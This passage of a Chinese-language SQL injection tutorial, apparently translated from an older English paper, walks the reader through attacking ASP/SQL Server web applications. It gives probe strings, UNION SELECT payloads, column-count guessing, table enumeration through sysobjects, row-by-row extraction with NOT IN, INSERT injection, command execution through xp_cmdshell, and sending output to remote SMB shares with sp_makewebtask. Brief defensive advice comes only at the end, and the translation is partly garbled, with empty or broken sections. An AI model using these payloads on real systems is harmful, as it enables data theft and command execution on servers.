3.2.3 利用结构错误查询表单
一些数据库服务器返回的错误信息中包含了一部分格式错误消息,你可以通过分析这些片断来构造你提交的INJECTION语句,有些你提交的字符串会返回有用的信息,有的却不会,这主要是以来于web应用程序中SQL查询语句是如何设计的.下面这些是我推荐你尝试的字符串:
'
BadValue'
'BadValue
' OR '
' OR
;
9,9,9 |
通常这些字符串中的一些会返回相同的信息,或者根本不返回信息.但是有例子告诉我们,可能有的信息只有用他们中的一个才能得到,所以你最好提交字符串的时候,把他们都试一遍.
3.2.4 圆扩弧
如果有缺陷的查询语句中包含圆扩弧'(' (就像下面将会举的例子那样),或者返回的错误信息里显式地提醒你缺了'('号(Oracle这么做),那么你应该在你提交的SQL注射字符串中加入'('号.通常在WHERE子句后面加一个括号,但是在一些情况下,你需要加2个或者更多的括号.
下面是parenthesis.asp的源码:
mySQL="SELECT LastName, FirstName,
Title, Notes, Extension FROM Employees WHERE (City = '" & strCity & "')" |
我们插入如下的值:
"') UNION SELECT OtherField FROM OtherTable WHERE (''='" |
那么传送给SQL SERVER的语句就变成了这样:
SELECT LastName, FirstName, Title, Notes,
Extension FROM Employees WHERE (City = '')
UNION SELECT OtherField From OtherTable WHERE (''='') |
3.2.5 LIKE语句查询
另一个大的灾难是陷入一个LIKE子句的陷阱.(Seeing the LIKE keyword or percent signs cited in an error message are indications of this situation.)大多数的web搜索程序使用LIKE子句来查询数据库,比如下面这个:
SQLString = "SELECT FirstName,
LastName, Title FROM Employees
WHERE LastName LIKE '%" & strLastNameSearch & "%'" |
这里面的%是通配符,在这个例子里,WHERE子句会返回TRUE,只要LASTNAME里有字符串含有strLastNameSearch.为了阻止SQL SERVER返回预计中的记录,你构造的SQL语句里必须含有LASTNAME里没有的字符串.web搜索程序搜索的字符串来自于用户的输入.通常有一个'和一个%在输入的字符串之前,因此我们构造字符串时,需要在WHERE子句中匹配它们.如果你提交了NULL作为搜索字符串,那么LIKE的参数会变成"%%",这是一个全匹配,会返回所有的记录。
3.2.6 “死胡同”
大部分的时候sql injection都要伴随着大量失败的实践,如果你发现你无论如何都不能插入相关的语句,并且无论你怎么做都不对,这个时候你就要判断自己是否掉进了一个死胡同,很多时候遇到这种情况你很可能是在一个多重嵌套的WHERE和SELECT子句的语句中,或者一些更加复杂的多重嵌套,连使用“;--”都没有用,所以自己要小心和避免在这种地方停留。
3.2.7 列的数目不匹配问题
如图所示,我们可以从几次错误中得到很多有用的信息,并且加以调整自己的请求语句,这种信息多了,那就意味着我们离成功不远了。在猜列名时,如图所示,我们提交语句后会碰到以下错误“在UNION语句中的所有查询都必须在目标列表中具有相同数目的表达式”,这就是说你需要找出或者说是探测出在合法的请求中有多少个列。
这里我解释一下,UNION 语句是用来将两个不同的查询结果集相加得到一个结果集,UNION使用的唯一要求是两个查询的信息(你的查询语句)必须有相同的列数和相同的数据类型
我举个例子,web程序中有如下语句:
SQLstring= "SELECT FirstName,LastName,
EmployeeID FROM Employees WHERE City ='"&strCity"'" |
合法的SELECT语句和我们注入的UNION SELECT语句在WHERE子句中都要有相同的列。就上面的语句来说,如果我要加入UNION 语句的话,前后两者都要有3个列。并且他们列的数据类型也要相互匹配才可以。如果FirstName这个值是字符串类型的,那么在你注入的语句中所对应的值也应该是字符串类型的。一些数据库,如ORACLE,是对类型检查非常严格的。其他的数据库相对要好一些,允许你输入任何数据类型并且它会自动的把你输入错误的数据类型转换成正确的。比如SQL数据库中,你在varchar类型的地方输入数值类型的数据(如int)是不会报错的,因为在这里数值类型会被自动转为字符串类型。但是如果在smallint列处输入text类型则被认为是非法的,因为text类型不能被转换成int类型。把数值类型的数据转换成字符串型是被允许的,而反之则不行,所以默认都是使用数值类型的数据。
要想知道我们要注入的目标语句中有多少个列,你就要试探性的往UNION SELECT子句中添加相应的值,直到它不报“在UNION语句中的所有查询都必须在目标列表中具有相同数目的表达式”这样的错为止。如图所示,如果你遇到的是数据类型不匹配的错误,那么你要去改变列的数据类型。如果返回消息只是一个转换数据类型失败的错误,那就说明你已经猜对了列的数目,只是其中有个别的列的数据类型不对。那么接下来要做的就是判断是哪个列的数据类型的不正确导致的错误。然后将他改过来就可以了。
如果一切顺利,那么祝贺你,你会得到一个和上面格式类似的而且是合法的页面;)无论动态页面在哪里出现,你都可以构造自己的语句应对自如。
3.2.8.WHERE关键字
报错为“无效的列名'EmployeeID'”,这个问题可能是由我们注入的语句结尾的WHERE关键字引起的,举例说明:
SQLString="SELECT FirstName,LastName,
Title FROM Employees WHERE City='"&strcity&"'AND Country ='USA'" |
如果我们注入的语句是UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 那么会得到如下的提交语句:
SELECT FirstName, LastName,
Title FROM Employees WHERE City = 'NoSuchCity'
UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = 'USA' |
这样就会报错:[Microsoft][ODBC SQL Server Driver][SQL Server]无效的列名 'Country'。
其实问题就是因为你注入的语句后,系统没有在从数据库的表中找到一个叫'Country'的列名。我们这里可以简单的用“;--”注释符号将其注释掉(如果我们是SQL Server)。或者干脆继续猜其他的列名,然后构造合法请求就如我们上一节讲到的一样。
表名的枚举
我们已经开始掌握如何来使用注入进行攻击,但是我们还要确定要从哪个表得到信息,换句话说就是我们要的到关键的表名才能获得我们想要的有用信息。如何获得表名呢?在SQL Server中,你可以很容易得从数据库中得到全部的表名和列名。但是在Oracle和Access中,你就不一定能如此轻易的得到了,这要看WEB程序对数据库的访问权限了。关键在于是否能得到系统建立时自动生成的表中包含的表名和列名。如在SQL Server中,它们分别为'sysobjects'和'syscolumns',(在本文最后我们将给出其他数据库系统自建表和相应的列名)我们用以下的句子可以在这些表中列出数据库的所有列名和表名,(根据情况自行修改):
SELECT name FROM sysobjects WHERE xtype = 'U'
这句话会返回数据库中用户定义的所有表,如果我们看到我们感兴趣的或者是想要看的表,那么我们就把他打开,这里以Orders为例构造语句:SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders')得到结果如图。
3.2.10.单一纪录
上面我们构造的语句返回了大量的信息,如果你只想显示一条数据纪录也是可以的。你完全可以构造你的注入语句来得到你想要的唯一的信息。我们只要在WHERE子句中添加关键字来避免某些行的关键字被选中就可以了。我来举个列子:' UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ''='
我们这样就可以得到FieldOne,FieldTwo和FieldThree的第一个值,假设我们的到的分别是"Alpha", "Beta"和"Delta"。注意,更有意思的来了,我们要得到第2行的值,怎么构造下面的语句呢?这样来:' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha') AND FieldTwo NOT IN ('Beta') AND FieldThree NOT IN ('Delta') AND ''='
这里有一个子句“NOT IN VALUES”,它的作用是不再返回我们已经得到的信息,即不是alpha,不是beta,不是delta.既然都不是,数据库就会傻乎乎的告诉我们第二行的值。我们再假设我们得到第二行的值为"AlphaAlpha", "BetaBeta"和"DeltaDelta"。
我们来获得第三行的值,构造语句如下:' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta', 'DeltaDelta') AND ''='
这样就避免了得到第一次和第二次我们已经得到的值,我们就这样试下去会得到数据库中所有的值。这看起来好像确实比较麻烦,但在这里却是最有效的,不是么?
3.3 插入
3.3.1 插入基础
关键字INSERT 被用于向数据库添加信息,通常使用INSERT主要在包括用户注册,论坛,添加商品到购物车,等等。检查INSERT使用的弱点和检查WHERE一样。你可能不想使用INSERT,如何避免被利用弱点是一个重要的考虑问题。INSERT注入尝试常常会让数据库以行形式返回结果导致泛滥的单独的引用和SQL关健字的意义可能改变.取决于管理员的注意和信息对数据库的操作,这个是要引起注意的,刚刚说过的那些,INSERT注入和SELECT注入的不同。我们在一个允许用户进行各种注册,这就提供了一个你输入你的名字,地址,电话等等的表单。在你提交了这个表单之后,为了得到进一步的INSERT的弱点,你必须能够看到你提交的信息。它在那里不要紧。可能当你登陆根据在数据库里存储的名字的给予你权利的时候,可能在发送你的spam邮件的。。,谁知道,寻找一个途径至少可以看到你输入的信息。
一个插入的请求看起来象这样:INSERT INTO TableName VALUES ('Vaule One','Value Two','Value Three') 你想可能利用一个在参数VALUES中的子句来看到其他的数据。我们可以使用这种办法,sql的代码象这样:SQLString ="INSERT INTO TableName VALUES ('" & strValueOne & "', '" & strValueTwo & "', '" & strValueThree & "')"我们象这样填写表单:Name: ' + (SELECT TOP 1 FieldName FROM TableName) + ' Email: blah@blah.com Phone: 333-333-3333 使SQL的声明象这样 : INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM TableName) + '', 'blah@blah.com', '333-333-3333')当你到了个人设置页面查看你的使用信息,你将看到的第一个字段这个通常是用户名r如果你使不在你的subselect中使用TOP 1,你将得到一个错误信息说你的subselect返回了太多记录,你能查看表中所有的行,使用NOT IN()同样的方法你可以得到单独的记录。
3.4. SQL服务器存储过程利用
3.4.1 存储过程基础
4. 一个完整安装的MSSQL服务器有上千的存储过程。如果你能在一个后台使用mssql的网页应用程序得到SQL注入,你能使用这些存储过程完成一些非凡的成果。我将讨论很少的特殊的过程。取决于网页程序使用数据库的用户,只有一些可以工作,并不是所有的用户都可以利用。第一件事你应该知道存储过程注入不能通过存储过程的返回值来确定你的注入是否成功.取决于你想完成什么,你可能不需要得到数据。你可以找到返回给你的数据的其他意义。存储过程注入比一般的查询注入要容易些,存储过程的注入的弱点利用看起来象这样。
simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
注意,
Notice how a valid argument is supplied at the beginning and followed by a quote and the final argument to the stored procedure has no closing quote. This will satisfy the syntax requirements inherent in most quoted vulnerabilities. You may also have to deal with parentheses, additional WHERE statements, etc.但是在这以后将不需要担心列和数据的类型的匹配。这个可能弱点的输出象程序无法返回错误信息一样。我最喜欢存储过程。
5. 3.4.2. xp_cmdshell
xp_cmdshell {'command_string'} [, no_output]
master.dbo.xp_cmdshell是存储过程的圣杯,它带来了一个问题,能够调用命令行的数据库用户的和他的运行权限,这个并不可用除非这个网页程序使用的数据库用户是SA. 运行级别为6
sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query'
6. 另外一个好的调用对象是master.dbo.sp_makewebtask,象你所看的,它是一个本地的输出文件和一个SQL statement。sp_makewebtask可以查询并建立一个包含输出的网页。注意你可以象使用一个UNC路径名一样使用一个本地输出。这个意思就是这个输出文件可以放有在任何一台连在Internet并且有个可写的SMB共享(SMB请求不需要任何的身份验证)。如果有一个防火墙限制了服务器对Internet,试着把输出文件放在网页目录下(你要知道或者猜测网页的目录)。同样值得注意的是引用查询可能是 包括执行其他的存储过程。Making "EXEC xp_cmdshell 'dir c:'" 这个查询将在网页中给出"dir c:"的输出。当你进行嵌套引用的时候,记得单独的引用和双引号.
4.1数据处理
所有的客户端数据可以被恶意的提交的字符或字符串清除。这些可能在所有的应用程序做到,不仅仅是使用SQL查询的。Stripping quotes or putting backslashes in front of them is nowhere near enough.最好的过滤数据的方式是不用规则的表达方式,使它只包括你所想要的字符类型。举个例子,下边的regxp将只能返回字母和数字,尽可能的过滤象s/[^0-9a-zA-Z]//g 这样的特殊字符。可能的时候尽量使用数字,在这以后只使用数字和字母。如果你需要包括各种各样的标志或标点。确信完全的把它们转换成html标记,像“"e;" or ">”。例如,一个用户提交了一个email地址只允许使用数字和字母还有"@", "_", "." 和"-"。仅仅只有这些字符可以转换成html标记。
4.2. 编写安全的web程序
这里同样有很少的特殊的sql注入规则。First, prepend and append a quote to all user input。
尽管数据使数字。其次,限制网页应用程序的数据库用户在数据库里的权限。不要给这个用户访问所有的存储过程的权利如果这个用户只需要访问一些预定义的。 这部分包括了所有在sql注入中有用的系统表,你可以在google上搜索到每一个的表的列的定义
5.1. MS SQL Server
5.2. MS Access Server
MSysACEs
MSysObjects
MSysQueries
MSysRelationships
5.3. Oracle
SYS.USER_OBJECTS
SYS.TAB SYS.USER_TABLES
SYS.USER_VIEWS SYS.ALL_TABLE
S SYS.USER_TAB_COLUMNS
SYS.USER_CONSTRAINTS SYS.USER_TRIGGERS
SYS.USER_CATALOG |